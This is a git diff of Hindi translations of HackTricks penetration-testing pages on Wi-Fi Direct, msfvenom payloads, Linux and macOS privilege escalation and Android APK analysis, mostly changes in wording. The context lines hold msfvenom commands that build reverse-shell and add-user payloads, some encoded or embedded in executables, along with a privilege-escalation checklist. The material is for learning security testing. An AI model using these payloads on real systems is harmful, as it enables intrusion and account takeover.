@ -702,7 +702,7 @@ Eaphammer ने इस हमले को एक MANA हमले के र
```
## Wi-Fi Direct
**Wi-Fi Direct** एक प्रोटोकॉल है जो उपकरणों को पारंपरिक वायरलेस एक्सेस पॉइंट की आवश्यकता के बिना सीधे एक-दूसरे से लिंक करने की अनुमति देता है। यह क्षमता विभिन्न इंटरनेट ऑफ थिंग्स (IoT) उपकरणों, जैसे प्रिंटर और टेलीविजन में एकीकृत है, जो सीधे उपकरण-से-उपकरण संचार को सुविधाजनक बनाती है। Wi-Fi Direct की एक महत्वपूर्ण विशेषता यह है कि एक उपकरण ए एक्सेस पॉइंट की भूमिका निभाता है, जिसे समूह मालिक कहा जाता है, जो कनेक्शन का प्रबंधन करता है।
**Wi-Fi Direct** एक प्रोटोकॉल है जो उपकरणों को पारंपरिक वायरलेस एक्सेस पॉइंट की आवश्यकता के बिना सीधे एक-दूसरे से कनेक्ट करने की अनुमति देता है। यह क्षमता विभिन्न इंटरनेट ऑफ थिंग्स (IoT) उपकरणों, जैसे प्रिंटर और टेलीविजन में एकीकृत है, जो सीधे उपकरण-से-उपकरण संचार को सुविधाजनक बनाती है। Wi-Fi Direct की एक महत्वपूर्ण विशेषता यह है कि एक उपकरण कनेक्शन को प्रबंधित करने के लिए एक्सेस पॉइंट की भूमिका निभाता है, जिसे समूह मालिक कहा जाता है।
Wi-Fi Direct कनेक्शनों के लिए सुरक्षा **Wi-Fi Protected Setup (WPS)** के माध्यम से स्थापित की जाती है, जो सुरक्षित पेयरिंग के लिए कई विधियों का समर्थन करती है, जिसमें शामिल हैं:
@ -731,7 +731,7 @@ Wi-Fi Direct कनेक्शनों के लिए सुरक्षा
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -23,7 +23,7 @@ Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to
हैकिंग की रोमांचक और चुनौतियों में गहराई से जाने वाली सामग्री के साथ जुड़ें
**Real-Time Hack News**\
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की खबरों और अंतर्दृष्टियों के माध्यम से अद्यतित रहें
तेज-तर्रार हैकिंग दुनिया के साथ वास्तविक समय की समाचार और अंतर्दृष्टि के माध्यम से अद्यतित रहें
**Latest Announcements**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
@ -83,8 +83,6 @@ msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
```bash
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
```
{% endcode %}
### **कमांड निष्पादित करें**
{% code overflow="wrap" %}
@ -100,7 +98,7 @@ msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > enco
```
{% endcode %}
### निष्पाद्य के अंदर एम्बेडेड
### निष्पादित करने योग्य के अंदर एम्बेडेड
{% code overflow="wrap" %}
```bash
@ -108,7 +106,7 @@ msfvenom -p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> -x /usr/share/wind
```
{% endcode %}
## Linux Payloads
## लिनक्स पेलोड्स
### रिवर्स शेल
@ -151,7 +149,7 @@ msfvenom -p osx/x86/shell_bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f macho
```
{% endcode %}
## **वेब आधारित पेलोड्स**
## **वेब आधारित पेलोड**
### **PHP**
@ -223,7 +221,7 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद करने के लिए [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों!

View file

@ -9,15 +9,15 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
@ -57,11 +57,11 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### [प्रक्रियाएँ](privilege-escalation/#processes)
* [ ] क्या कोई **अज्ञात सॉफ़्टवेयर चल रहा है**?
* [ ] क्या कोई सॉफ़्टवेयर **उससे अधिक विशेषाधिकार के साथ चल रहा है जितना होना चाहिए**?
* [ ] क्या कोई सॉफ़्टवेयर **जितना होना चाहिए उससे अधिक विशेषाधिकार के साथ चल रहा है**?
* [ ] **चल रही प्रक्रियाओं के एक्सप्लॉइट्स** की खोज करें (विशेष रूप से चल रही संस्करण)।
* [ ] क्या आप किसी चल रही प्रक्रिया का **बाइनरी** संशोधित कर सकते हैं?
* [ ] **प्रक्रियाओं की निगरानी करें** और जांचें कि कोई दिलचस्प प्रक्रिया बार-बार चल रही है।
* [ ] क्या आप कुछ दिलचस्प **प्रक्रिया मेमोरी** (जहा पासवर्ड सहेजे जा सकते हैं) **पढ़ सकते हैं**?
* [ ] क्या आप कुछ दिलचस्प **प्रक्रिया मेमोरी** (जहा पासवर्ड सहेजे जा सकते हैं) **पढ़ सकते हैं**?
### [निर्धारित/क्रोन नौकरियाँ?](privilege-escalation/#scheduled-jobs)
@ -92,8 +92,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### [नेटवर्क](privilege-escalation/#network)
* [ ] जानें कि आप कहाँ हैं, नेटवर्क की गणना करें
* [ ] **खुले पोर्ट जो आप पहले नहीं पहुंच सके** मशीन के अंदर शेल प्राप्त करने से पहले?
* [ ] जानने के लिए नेटवर्क की गणना करें कि आप कहाँ हैं
* [ ] **खुले पोर्ट जिन्हें आप पहले एक्सेस नहीं कर सके** मशीन के अंदर शेल प्राप्त करने से पहले?
* [ ] क्या आप `tcpdump` का उपयोग करके **ट्रैफ़िक को स्निफ़ कर सकते हैं**?
### [उपयोगकर्ता](privilege-escalation/#users)
@ -107,7 +107,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### [लिखने योग्य PATH](privilege-escalation/#writable-path-abuses)
* [ ] यदि आपके पास **PATH में किसी फ़ोल्डर पर लिखने के विशेषाधिकार** हैं, तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं
* [ ] यदि आपके पास **PATH में किसी फ़ोल्डर पर लिखने के विशेषाधिकार** हैं तो आप विशेषाधिकार बढ़ाने में सक्षम हो सकते हैं
### [SUDO और SUID कमांड](privilege-escalation/#sudo-and-suid)
@ -120,7 +120,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* [ ] [**SUID बाइनरी में .so लाइब्रेरी की कमी**](privilege-escalation/#suid-binary-so-injection) एक लिखने योग्य फ़ोल्डर से?
* [ ] [**SUDO टोकन उपलब्ध हैं**](privilege-escalation/#reusing-sudo-tokens)? [**क्या आप SUDO टोकन बना सकते हैं**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
* [ ] क्या आप [**sudoers फ़ाइलें पढ़ या संशोधित कर सकते हैं**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [ ] क्या आप [**/etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d) को **संशोधित कर सकते हैं**?
* [ ] क्या आप [**/etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d) को संशोधित कर सकते हैं?
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas) कमांड
### [क्षमताएँ](privilege-escalation/#capabilities)
@ -146,7 +146,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* [ ] **प्रोफ़ाइल फ़ाइलें** - संवेदनशील डेटा पढ़ें? प्रिवेस्क के लिए लिखें?
* [ ] **passwd/shadow फ़ाइलें** - संवेदनशील डेटा पढ़ें? प्रिवेस्क के लिए लिखें?
* [ ] संवेदनशील डेटा के लिए **सामान्यतः दिलचस्प फ़ोल्डरों** की जांच करें
* [ ] **अजीब स्थान/स्वामित्व वाली फ़ाइलें,** जिन तक आपके पास पहुच हो सकती है या निष्पादनीय फ़ाइलों को बदल सकते हैं
* [ ] **अजीब स्थान/स्वामित्व वाली फ़ाइलें,** जिन तक आपके पास पहुच हो सकती है या निष्पादनीय फ़ाइलों को बदल सकते हैं
* [ ] **अंतिम मिनटों में संशोधित**
* [ ] **Sqlite DB फ़ाइलें**
* [ ] **छिपी हुई फ़ाइलें**
@ -158,19 +158,19 @@ GCP हैकिंग सीखें और अभ्यास करें: <
### [**लिखने योग्य फ़ाइलें**](privilege-escalation/#writable-files)
* [ ] **मनमाने आदेश निष्पादित करने के लिए पायथन लाइब्रेरी** को संशोधित करें?
* [ ] **मनमाने कमांड निष्पादित करने के लिए पायथन लाइब्रेरी** को संशोधित करें?
* [ ] क्या आप **लॉग फ़ाइलों को संशोधित कर सकते हैं**? **Logtotten** एक्सप्लॉइट
* [ ] क्या आप **/etc/sysconfig/network-scripts/** को **संशोधित कर सकते हैं**? Centos/Redhat एक्सप्लॉइट
* [ ] क्या आप **/etc/sysconfig/network-scripts/** को संशोधित कर सकते हैं? Centos/Redhat एक्सप्लॉइट
* [ ] क्या आप [**ini, int.d, systemd या rc.d फ़ाइलों में लिख सकते हैं**](privilege-escalation/#init-init-d-systemd-and-rc-d)?
### [**अन्य ट्रिक्स**](privilege-escalation/#other-tricks)
* [ ] क्या आप [**NFS का दुरुपयोग करके विशेषाधिकार बढ़ा सकते हैं**](privilege-escalation/#nfs-privilege-escalation)?
* [ ] क्या आपको [**एक प्रतिबंधित शेल से भागने की आवश्यकता है**](privilege-escalation/#escaping-from-restricted-shells)?
* [ ] क्या आपको [**एक प्रतिबंधात्मक शेल से भागने की आवश्यकता है**](privilege-escalation/#escaping-from-restricted-shells)?
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
@ -192,7 +192,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो** करें [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>

View file

@ -15,9 +15,9 @@ GCP हैकिंग सीखें और अभ्यास करें: <
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
@ -28,7 +28,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
## बुनियादी MacOS
@ -65,7 +65,7 @@ GCP हैकिंग सीखें और अभ्यास करें: <
{% endcontent-ref %}
* **ओपनसोर्स** macOS: [https://opensource.apple.com/](https://opensource.apple.com/)
* `tar.gz` डाउनलोड करने के लिए एक URL को इस तरह बदलें [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) को [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) में
* `tar.gz` डाउनलोड करने के लिए एक URL को बदलें जैसे [https://opensource.apple.com/**source**/dyld/](https://opensource.apple.com/source/dyld/) को [https://opensource.apple.com/**tarballs**/dyld/**dyld-852.2.tar.gz**](https://opensource.apple.com/tarballs/dyld/dyld-852.2.tar.gz) में
### MacOS MDM
@ -96,8 +96,8 @@ GCP हैकिंग सीखें और अभ्यास करें: <
* उपयोगकर्ता द्वारा पहले से बनाई गई फ़ाइल का उपयोग किया गया (उपयोगकर्ता द्वारा स्वामित्व)
* फ़ाइल का उपयोग उपयोगकर्ता द्वारा समूह के कारण लिखने योग्य है
* फ़ाइल का उपयोग एक निर्देशिका के अंदर है जिसका स्वामित्व उपयोगकर्ता के पास है (उपयोगकर्ता फ़ाइल बना सकता है)
* फ़ाइल का उपयोग एक निर्देशिका के अंदर है जिसका स्वामित्व रूट के पास है लेकिन उपयोगकर्ता को समूह के कारण उस पर लिखने की अनुमति है (उपयोगकर्ता फ़ाइल बना सकता है)
* फ़ाइल का उपयोग एक निर्देशिका के अंदर है जो उपयोगकर्ता के स्वामित्व में है (उपयोगकर्ता फ़ाइल बना सकता है)
* फ़ाइल का उपयोग एक निर्देशिका के अंदर है जो रूट के स्वामित्व में है लेकिन उपयोगकर्ता को समूह के कारण उस पर लिखने की अनुमति है (उपयोगकर्ता फ़ाइल बना सकता है)
एक **फ़ाइल बनाने में सक्षम होना** जो **रूट द्वारा उपयोग की जाने वाली है**, एक उपयोगकर्ता को **इसके सामग्री का लाभ उठाने** या यहां तक कि **सिंबलिंक/हार्डलिंक** बनाने की अनुमति देता है ताकि इसे किसी अन्य स्थान पर इंगित किया जा सके।
@ -117,17 +117,17 @@ GCP हैकिंग सीखें और अभ्यास करें: <
## macOS TCC / SIP विशेषाधिकार वृद्धि
macOS में **अनुप्रयोगों और बाइनरीज़ क फ़ोल्डरों या सेटिंग्स तक पहुँचने के लिए अनुमतियाँ हो सकती हैं** जो उन्हें दूसरों की तुलना में अधिक विशेषाधिकार प्राप्त बनाती हैं।
macOS में **अनुप्रयोगों और बाइनरीज़ के पास फ़ोल्डरों या सेटिंग्स तक पहुँचने के लिए अनुमतियाँ हो सकती हैं** जो उन्हें दूसरों की तुलना में अधिक विशेषाधिकार प्राप्त बनाती हैं।
इसलिए, एक हमलावर जो macOS मशीन को सफलतापूर्वक समझौता करना चाहता है, उसे **अपने TCC विशेषाधिकार बढ़ाने** की आवश्यकता होगी (या यहां तक कि **SIP को बायपास करना**, उसकी आवश्यकताओं के आधार पर)।
ये विशेषाधिकार आमतौर पर **अधिकारों** के रूप में दिए जाते हैं जिनसे अनुप्रयोग पर हस्ताक्षर किया जाता है, या अनुप्रयोग कुछ पहुँचों का अनुरोध कर सकता है और **उपयोगकर्ता द्वारा उन्हें अनुमोदित करने** के बाद उन्हें **TCC डेटाबेस** में पाया जा सकता है। एक प्रक्रिया इन विशेषाधिकारों को प्राप्त करने का एक और तरीका है कि वह उन विशेषाधिकारों वाली प्रक्रिया की **संतान** हो क्योंकि ये आमतौर पर **विरासत में मिलते हैं**
ये विशेषाधिकार आमतौर पर **अधिकारों** के रूप में दिए जाते हैं जिनसे अनुप्रयोग पर हस्ताक्षर किए जाते हैं, या अनुप्रयोग ने कुछ पहुँच मांगी हो और उसके बाद **उपयोगकर्ता द्वारा उन्हें अनुमोदित करने** के बाद उन्हें **TCC डेटाबेस** में पाया जा सकता है। एक प्रक्रिया इन विशेषाधिकारों को प्राप्त करने का एक और तरीका है कि वह उन **विशेषाधिकारों** के साथ एक **प्रक्रिया का बच्चा** हो क्योंकि वे आमतौर पर **विरासत में** मिलते हैं।
[**TCC में विशेषाधिकार बढ़ाने**](macos-security-protections/macos-tcc/#tcc-privesc-and-bypasses), [**TCC को बायपास करने**](macos-security-protections/macos-tcc/macos-tcc-bypasses/) और अतीत में [**SIP को बायपास करने**](macos-security-protections/macos-sip.md#sip-bypasses) के लिए विभिन्न तरीकों को खोजने के लिए इन लिंक का पालन करें।
## macOS पारंपरिक विशेषाधिकार वृद्धि
बेशक, एक रेड टीम के दृष्टिकोण से आपको रूट तक बढ़ने में भी रुचि होनी चाहिए। कुछ संकेतों के लिए निम्नलिखित पोस्ट देखें:
बेशक, एक लाल टीम के दृष्टिकोण से आपको रूट तक बढ़ने में भी रुचि होनी चाहिए। कुछ संकेतों के लिए निम्नलिखित पोस्ट देखें:
{% content-ref url="macos-privilege-escalation.md" %}
[macos-privilege-escalation.md](macos-privilege-escalation.md)
@ -145,9 +145,9 @@ macOS में **अनुप्रयोगों और बाइनरीज
* [**https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ**](https://assets.sentinelone.com/c/sentinal-one-mac-os-?x=FvGtLJ)
* [**https://www.youtube.com/watch?v=vMGiplQtjTY**](https://www.youtube.com/watch?v=vMGiplQtjTY)
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि आप अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) सर्वर में शामिल हों ताकि अनुभवी हैकर्स और बग बाउंटी शिकारियों के साथ संवाद कर सकें!
**हैकिंग अंतर्दृष्टि**\
हैकिंग के रोमांच और चुनौतियों में गहराई से जाने वाली सामग्री के साथ संलग्न हों
@ -158,7 +158,7 @@ macOS में **अनुप्रयोगों और बाइनरीज
**नवीनतम घोषणाएँ**\
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) पर और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
**हमारे साथ जुड़ें** [**Discord**](https://discord.com/invite/N3FrSbmwdy) और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
@ -40,20 +40,20 @@ Stay informed with the newest bug bounties launching and crucial platform update
## ADB (Android Debug Bridge)
यह मुख्य उपकरण है जिसकी आपको एक Android डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपी करने**, ऐप्स की **स्थापना** और **अनइंस्टॉल** करने, **शेल कमांड** को **निष्पादित** करने, डेटा का **बैकअप** लेने, **लॉग्स** को **पढ़ने** जैसी अन्य कार्यों को सक्षम बनाती है।
यह मुख्य उपकरण है जिसकी आपको एक एंड्रॉइड डिवाइस (अनुकरणीय या भौतिक) से कनेक्ट करने की आवश्यकता है।\
**ADB** आपको **USB** या **Network** के माध्यम से कंप्यूटर से उपकरणों को नियंत्रित करने की अनुमति देता है। यह उपयोगिता **फाइलों** की दोनों दिशाओं में **कॉपी करने**, ऐप्स की **स्थापना** और **अनइंस्टॉलेशन**, शेल कमांडों का **निष्पादन**, डेटा का **बैकअप**, लॉग का **पढ़ना**, और अन्य कार्यों को सक्षम बनाती है।
ADB का उपयोग कैसे करें, यह जानने के लिए [**ADB Commands**](adb-commands.md) की निम्नलिखित सूची पर एक नज़र डालें।
## Smali
कभी-कभी **छिपी हुई जानकारी** (शायद अच्छी तरह से छिपे हुए पासवर्ड या ध्वज) तक पहुँचने के लिए **एप्लिकेशन कोड को संशोधित करना** दिलचस्प होता है। फिर, APK को डिकंपाइल करना, कोड को संशोधित करना और इसे फिर से संकलित करना दिलचस्प हो सकता है।\
कभी-कभी **छिपी हुई जानकारी** (शायद अच्छी तरह से छिपे हुए पासवर्ड या फ्लैग) तक पहुँचने के लिए **एप्लिकेशन कोड को संशोधित करना** दिलचस्प होता है। फिर, APK को डिकंपाइल करना, कोड को संशोधित करना और इसे फिर से संकलित करना दिलचस्प हो सकता है।\
[**इस ट्यूटोरियल में** आप **APK को डिकंपाइल करना, Smali कोड को संशोधित करना और नए कार्यक्षमता के साथ APK को फिर से संकलित करना** सीख सकते हैं](smali-changes.md)। यह **गतिशील विश्लेषण** के दौरान कई परीक्षणों के लिए एक **वैकल्पिक** के रूप में बहुत उपयोगी हो सकता है जो प्रस्तुत किए जाने वाले हैं। फिर, **इस संभावना को हमेशा ध्यान में रखें**
## Other interesting tricks
* [Spoofing your location in Play Store](spoofing-your-location-in-play-store.md)
* **APK डाउनलोड करें**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
* **Download APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
* Extract APK from device:
```bash
adb shell pm list packages
@ -75,12 +75,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Static Analysis
सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **decompiler** का उपयोग करके **Java कोड** पर एक नज़र डालनी चाहिए।\
सबसे पहले, एक APK का विश्लेषण करने के लिए आपको **decompiler** का उपयोग करके **Java कोड पर नज़र डालनी चाहिए**।\
कृपया, [**विभिन्न उपलब्ध decompilers के बारे में जानकारी के लिए यहाँ पढ़ें**](apk-decompilers.md).
### Looking for interesting Info
APK के **strings** पर एक नज़र डालकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **backdoors** या प्रमाणीकरण backdoors (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल्स) के लिए भी देखें।
APK के **strings** पर नज़र डालकर आप **passwords**, **URLs** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep)), **api** keys, **encryption**, **bluetooth uuids**, **tokens** और कुछ भी दिलचस्प खोज सकते हैं... यहां तक कि कोड निष्पादन **backdoors** या प्रमाणीकरण backdoors (ऐप के लिए हार्डकोडेड व्यवस्थापक क्रेडेंशियल) के लिए भी देखें।
**Firebase**
@ -92,7 +92,7 @@ APK के **strings** पर एक नज़र डालकर आप **passw
**Manifest.xml** से पहचानी गई **Vulnerabilities** में शामिल हैं:
* **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम पैदा करती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने पर एक ट्यूटोरियल देखें।
* **Debuggable Applications**: _Manifest.xml_ फ़ाइल में `debuggable="true"` के रूप में सेट की गई एप्लिकेशन जोखिम में होती हैं क्योंकि वे ऐसे कनेक्शन की अनुमति देती हैं जो शोषण की ओर ले जा सकते हैं। डिबग करने योग्य एप्लिकेशन को शोषित करने के तरीके को समझने के लिए, डिवाइस पर डिबग करने योग्य एप्लिकेशन को खोजने और शोषित करने पर एक ट्यूटोरियल देखें।
* **Backup Settings**: संवेदनशील जानकारी से निपटने वाले एप्लिकेशनों के लिए `android:allowBackup="false"` विशेष रूप से सेट किया जाना चाहिए ताकि adb के माध्यम से अनधिकृत डेटा बैकअप को रोका जा सके, विशेष रूप से जब usb debugging सक्षम हो।
* **Network Security**: _res/xml/_ में कस्टम नेटवर्क सुरक्षा कॉन्फ़िगरेशन (`android:networkSecurityConfig="@xml/network_security_config"`) सुरक्षा विवरण जैसे प्रमाणपत्र पिन और HTTP ट्रैफ़िक सेटिंग्स को निर्दिष्ट कर सकते हैं। एक उदाहरण विशेष डोमेन के लिए HTTP ट्रैफ़िक की अनुमति देना है।
* **Exported Activities and Services**: मैनिफेस्ट में निर्यातित गतिविधियों और सेवाओं की पहचान करना उन घटकों को उजागर कर सकता है जो दुरुपयोग के लिए संवेदनशील हो सकते हैं। गतिशील परीक्षण के दौरान आगे के विश्लेषण से यह पता चल सकता है कि इन घटकों का शोषण कैसे किया जाए।
@ -104,8 +104,8 @@ APK के **strings** पर एक नज़र डालकर आप **passw
### Tapjacking
**Tapjacking** एक हमला है जहां एक **malicious** **application** लॉन्च किया जाता है और **एक पीड़ित एप्लिकेशन के ऊपर खुद को रखता है**। जब यह स्पष्ट रूप से पीड़ित ऐप को अस्पष्ट करता है, तो इसका उपयोगकर्ता इंटरफ़ेस इस तरह से डिज़ाइन किया गया है कि उपयोगकर्ता को इसके साथ बातचीत करने के लिए धोखा दिया जा, जबकि यह बातचीत को पीड़ित ऐप को पास कर रहा है।\
इसका प्रभाव यह है कि यह **उपयोगकर्ता को यह जानने से अंधा कर देता है कि वे वास्तव में पीड़ित ऐप पर क्रियाएँ कर रहे हैं**।
